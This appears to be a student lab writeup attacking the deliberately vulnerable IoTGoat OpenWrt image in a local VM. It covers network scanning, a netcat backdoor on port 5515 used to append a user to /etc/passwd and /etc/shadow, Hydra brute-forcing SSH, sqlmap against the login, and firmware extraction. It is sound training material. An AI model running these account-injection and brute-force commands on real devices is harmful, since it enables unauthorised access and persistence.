syssec-embedded-security-wr.../writeup.org

18 KiB

Vulnerability Analysis - Writeup

Vulnerabilty Analysis

Given files:

  ls ./data/ -lA
total 17492
-rw-r--r-- 1 tuan tuan     424 Jun 29 13:33 passwords.txt
-rw-r--r-- 1 tuan tuan 8126464 Jun 29 13:33 Syssec IoT Device.bin
-rw-r--r-- 1 tuan tuan 9778176 Jun 29 13:33 Sysssec IoT Device.ova
  • passwords.txt: Password list for brute forcing

      file ./data/passwords.txt
    ./data/passwords.txt: ASCII text
    
  • Syssec IoT Device.bin: Firmware binary of target for static analysis

      file ./data/Syssec\ IoT\ Device.bin
    ./data/Syssec IoT Device.bin: firmware 4300 v1 OpenWrt r16916-7f946a880a, 8126464 bytes or less, at 0x200 2054221 bytes , at 0x1f5a50 2813038 bytes 
    
  • Sysssec IoT Device.ova: Virtual Box image of target for dynamic analysis

      file ./data/Sysssec\ IoT\ Device.ova
    ./data/Sysssec IoT Device.ova: POSIX tar archive
    

Run device

I import the Syssec IoT Device.ova file into VirtualBox, which resulted in multiple errors.

  • Network Error

    Could not start the machine Sysssec IoT Device because the following physical network interfaces Ire not found:
    vboxnet0 (adapter 1)
    You can either change the machine's network settings or stop the machine.
    

    To fix this error I had to attatch a virtual networking device to the Virtual Machine (VM), I chose Network address translation (NAT).

  • USB Error After fixing the previous error a new error occured

    Implementation of the USB 2.0 controller not found!
    Because the USB 2.0 controller state is part of the saved VM state, the VM cannot be started. To fix this problem, either install the 'Oracle VM VirtualBox Extension Pack' or disable USB 2.0 support in the VM settings.
    Note! This error could also mean that an incompatible version of the 'Oracle VM VirtualBox Extension Pack' is installed (VERR_NOT_FOUND).
    

    The error message instructs us to install the Oracle VM VirtualBox Extension Pack, lead the the same error. So I tried to disable USB 2.0 support as the error message suggests, which made it possible to boot up the VM.

Obtain IP address

Obtaining the devices IP address proved difficult as I had no vboxnet0 interface. To do this I had to add a network interface on the Virtual Box management interface.

After doing that I got the necessary network interface.

  ifconfig vboxnet0
vboxnet0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.56.1  netmask 255.255.255.0  broadcast 192.168.56.255
        inet6 fe80::800:27ff:fe00:0  prefixlen 64  scopeid 0x20<link>
        ether 0a:00:27:00:00:00  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1072  bytes 48322 (47.1 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Afterwards an arpscan was possible:

  arp-scan --interface vboxnet0 --local
Interface: vboxnet0, type: EN10MB, MAC: 0a:00:27:00:00:00, IPv4: 192.168.56.1
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.100	08:00:27:9c:58:bf	PCS Systemtechnik GmbH
192.168.56.101	08:00:27:ec:b3:cb	PCS Systemtechnik GmbH

2 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.975 seconds (129.62 hosts/sec). 2 responded

This yielded us two IP Addresses:

  • 192.168.56.100
  • 192.168.56.101

Vulnerable network services

Scanning both devices with nmap shows, that 192.168.56.100 doesn't have open ports, so it doesnt seem to be our target device.

Here I simply create a variable for our targets IP-address, so we don't have to remember it and enter it manually.

  TARGET=192.168.56.101
  echo $TARGET
192.168.56.101

nmap on 192.168.56.101 returns the following result:

  nmap $TARGET -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 14:50 CEST
Nmap scan report for 192.168.56.101
Host is up (0.00076s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
443/tcp   open  https
5515/tcp  open  unknown
65534/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 2626.73 seconds

After determining the open ports we can do a service scan(-sV) to find out which public facing services are running on the device.

  nmap $TARGET -sV -sC -p22,53,80,443,5515, 65534
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-30 15:58 CEST
Nmap scan report for 192.168.56.101
Host is up (0.00058s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      Dropbear sshd (protocol 2.0)
53/tcp   open  domain   dnsmasq 2.73
| dns-nsid: 
|_  bind.version: dnsmasq-2.73
80/tcp   open  http     LuCI Lua http config
|_http-title: Did not follow redirect to https://192.168.56.101/
443/tcp  open  ssl/http LuCI Lua http config
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=OpenWrt/organizationName=OpenWrtb63cc26f/stateOrProvinceName=Somewhere/countryName=ZZ
| Not valid before: 2021-06-10T16:38:31
|_Not valid after:  2023-06-10T16:38:31
|_ssl-date: 2021-06-30T14:01:34+00:00; -2s from scanner time.
5515/tcp open  unknown
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, SMBProgNeg, SSLSessionReq, X11Probe: 
|     [***]Successfully Connected to IoTGoat's Backdoor[***]
|   GenericLines: 
|     [***]Successfully Connected to IoTGoat's Backdoor[***]
|     found
|     found
|   GetRequest: 
|     [***]Successfully Connected to IoTGoat's Backdoor[***]
|     GET: not found
|     found
|   HTTPOptions, RTSPRequest: 
|     [***]Successfully Connected to IoTGoat's Backdoor[***]
|     OPTIONS: not found
|     found
|   Help: 
|     [***]Successfully Connected to IoTGoat's Backdoor[***]
|     HELP
|     found
|   Kerberos: 
|     [***]Successfully Connected to IoTGoat's Backdoor[***]
|     found
|   RPCCheck: 
|     [***]Successfully Connected to IoTGoat's Backdoor[***]
|     syntax error: unexpected word (expecting ")")
|   TLSSessionReq: 
|     [***]Successfully Connected to IoTGoat's Backdoor[***]
|     random1random2random3random4
|     found
|   TerminalServerCookie: 
|     [***]Successfully Connected to IoTGoat's Backdoor[***]
|_    Cookie:: not found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5515-TCP:V=7.91%I=7%D=6/30%Time=60DC789C%P=x86_64-unknown-linux-gnu
SF:%r(NULL,37,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20B
SF:ackdoor\[\*\*\*\]\n")%r(GenericLines,59,"\[\*\*\*\]Successfully\x20Conn
SF:ected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20\r:\x20not\x20fo
SF:und\nsh:\x20\r:\x20not\x20found\n")%r(GetRequest,5B,"\[\*\*\*\]Successf
SF:ully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20GET:
SF:\x20not\x20found\nsh:\x20\r:\x20not\x20found\n")%r(HTTPOptions,5F,"\[\*
SF:\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\
SF:]\nsh:\x20OPTIONS:\x20not\x20found\nsh:\x20\r:\x20not\x20found\n")%r(RT
SF:SPRequest,5F,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x2
SF:0Backdoor\[\*\*\*\]\nsh:\x20OPTIONS:\x20not\x20found\nsh:\x20\r:\x20not
SF:\x20found\n")%r(RPCCheck,69,"\[\*\*\*\]Successfully\x20Connected\x20to\
SF:x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20syntax\x20error:\x20unexpect
SF:ed\x20word\x20\(expecting\x20\"\)\"\)\n")%r(DNSVersionBindReqTCP,37,"\[
SF:\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\
SF:*\]\n")%r(DNSStatusRequestTCP,37,"\[\*\*\*\]Successfully\x20Connected\x
SF:20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n")%r(Help,4C,"\[\*\*\*\]Succes
SF:sfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\nsh:\x20HE
SF:LP\r:\x20not\x20found\n")%r(SSLSessionReq,37,"\[\*\*\*\]Successfully\x2
SF:0Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n")%r(TerminalServe
SF:rCookie,52,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x20B
SF:ackdoor\[\*\*\*\]\nsh:\x20\x03\*%\xe0Cookie::\x20not\x20found\n")%r(TLS
SF:SessionReq,70,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoTGoat's\x
SF:20Backdoor\[\*\*\*\]\nsh:\x20\x16\x03i\x01e\x03\x03U\x1c\xa7\xe4random1
SF:random2random3random4\x0c/:\x20not\x20found\n")%r(Kerberos,57,"\[\*\*\*
SF:\]Successfully\x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\ns
SF:h:\x20qj\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01:\x20not\x20foun
SF:d\n")%r(SMBProgNeg,37,"\[\*\*\*\]Successfully\x20Connected\x20to\x20IoT
SF:Goat's\x20Backdoor\[\*\*\*\]\n")%r(X11Probe,37,"\[\*\*\*\]Successfully\
SF:x20Connected\x20to\x20IoTGoat's\x20Backdoor\[\*\*\*\]\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -2s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 2 IP addresses (1 host up) scanned in 172.82 seconds

With the backdoor detected on port 5515 we can netcat onto it and get a shell.

To add the user tuan with the password password we executed the following code snippets:

  echo "echo tuan:x:1001:1001::/root:/bin/ash >> /etc/passwd;exit" | nc -nv $TARGET 5515 
  echo 'echo tuan:\$1\$123456\$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7::: >> /etc/shadow;exit' | nc -nv $TARGET 5515
  echo "tuan:x:1001:1001::/root:/bin/ash" 
  echo 'tuan:$1$123456$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7:::'
[***]Successfully Connected to IoTGoat's Backdoor[***]
[***]Successfully Connected to IoTGoat's Backdoor[***]
tuan:x:1001:1001::/root:/bin/ash
tuan:$1$123456$qqQvjw0PqIk7otmzNsUIN0:18145:0:99999:7:::

Afterwards we were able to log into our user via ssh

The password was generated with

  openssl passwd -1 -salt 123456 password
$1$123456$qqQvjw0PqIk7otmzNsUIN0

Brute-force Login

To brute force login via ssh on the user iotgoatuser we simply ran

   hydra -l iotgoatuser -P ./data/passwords.txt ssh://$TARGET -t 4 -f
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-06-30 18:45:45
[DATA] max 4 tasks per 1 server, overall 4 tasks, 60 login tries (l:1/p:60), ~15 tries per task
[DATA] attacking ssh://192.168.56.101:22/
[22][ssh] host: 192.168.56.101   login: iotgoatuser   password: 7ujMko0vizxv
[STATUS] attack finished for 192.168.56.101 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-06-30 18:45:51

Another way would have been to get the /etc/shadow entry of iotgoatuser and cracking it localy with john to circumvent any restrictions given by ssh like fail2ban etc. (even though restrictions like that are unlikly on an IoT device).

Man-in-the-middle Attack

When visiting the webinterface of the IoT device we are greeted with Warning: Potential Security Risk Ahead, when using Firefox

Warning: Potential Security Risk Ahead

Firefox detected a potential security threat and did not continue to 192.168.56.101. If you visit this site, attackers could try to steal information like your passwords, emails, or credit card details.

When pressing on Advanced... we get some additional information about the error.

192.168.56.101 uses an invalid security certificate.

The certificate is not trusted because it is self-signed.

Error code: MOZILLA_PKIX_ERROR_SELF_SIGNED_CERT

Why do you get this warning message?

The reason why the warning message is shown is:

The certificate is not trusted because it is self-signed.

as stated in the error message.

What could be done to get prevent this message?

One could simply ignore the error by pressing Accept the Risk and Continue

Why is it in general hard to fix this problem for IoT devices?

The vendor would have to create an individual certificate for each of his devices. Additionally each IoT device would need to regularily update it's certificate before it expires.

Analysis

Trying to login with the previously obtained credentials:

user: iotgoatuser
password: 7ujMko0vizxv

unfortunatly didn't work.

Burp Suite

Firing up Burp and utilizing its internal chromium browser we try to login again.

We can see, that our request looked like this:

POST /cgi-bin/luci HTTP/1.1
Host: 192.168.56.101
Content-Length: 52
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="91", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: https://192.168.56.101
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.56.101/cgi-bin/luci
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

luci_username=iotgoatuser&luci_password=7ujMko0vizxv

Trying to run sqlmap on the website didn't yield any results.

  sqlmap -u https://192.168.56.101/cgi-bin/luci --data "luci_username=iotgoatuser&luci_password=7ujMko0vizxv"

Throwing the original response of the website and the response after entering a wrong username/password combination didn't reveal any additional info.

/AISE/syssec-embedded-security-writeup/src/commit/9507504b2ffb61cbe3f7fcb46286d78c4fb34127/21-06-30_15-59-14-java.png

Analysis of Firmware Ima+ga+ge

Recon

  binwalk ./data/Syssec\ IoT\ Device.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
512           0x200           LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 6562339 bytes
2054736       0x1F5A50        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2813038 bytes, 869 inodes, blocksize: 262144 bytes, created: 2021-06-09 11:16:45

Extraction

The extraction is done by using the previously obtained information.

  dd if=data/Syssec\ IoT\ Device.bin of=0x1F5A50 bs=1 skip=2054736 count=2813038
  unsquashfs 0x1F5A50

The extracted filesystem is under ./squashfs-root/.

Analysis

Are you able to find the passwd and shadow file? What do they contain?
  cat squashfs-root/etc/passwd
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
ntp:x:123:123:ntp:/var/run/ntp:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
logd:x:514:514:logd:/var/run/logd:/bin/false
ubus:x:81:81:ubus:/var/run/ubus:/bin/false
  cat squashfs-root/etc/shadow
root::0:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
ntp:x:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
logd:x:0:0:99999:7:::
ubus:x:0:0:99999:7:::
Do you find certificates?
  find squashfs-root/ -name "*.crt"
squashfs-root/etc/ssl/certs/ca-certificates.crt
Can you find the secret developer diagnostics page?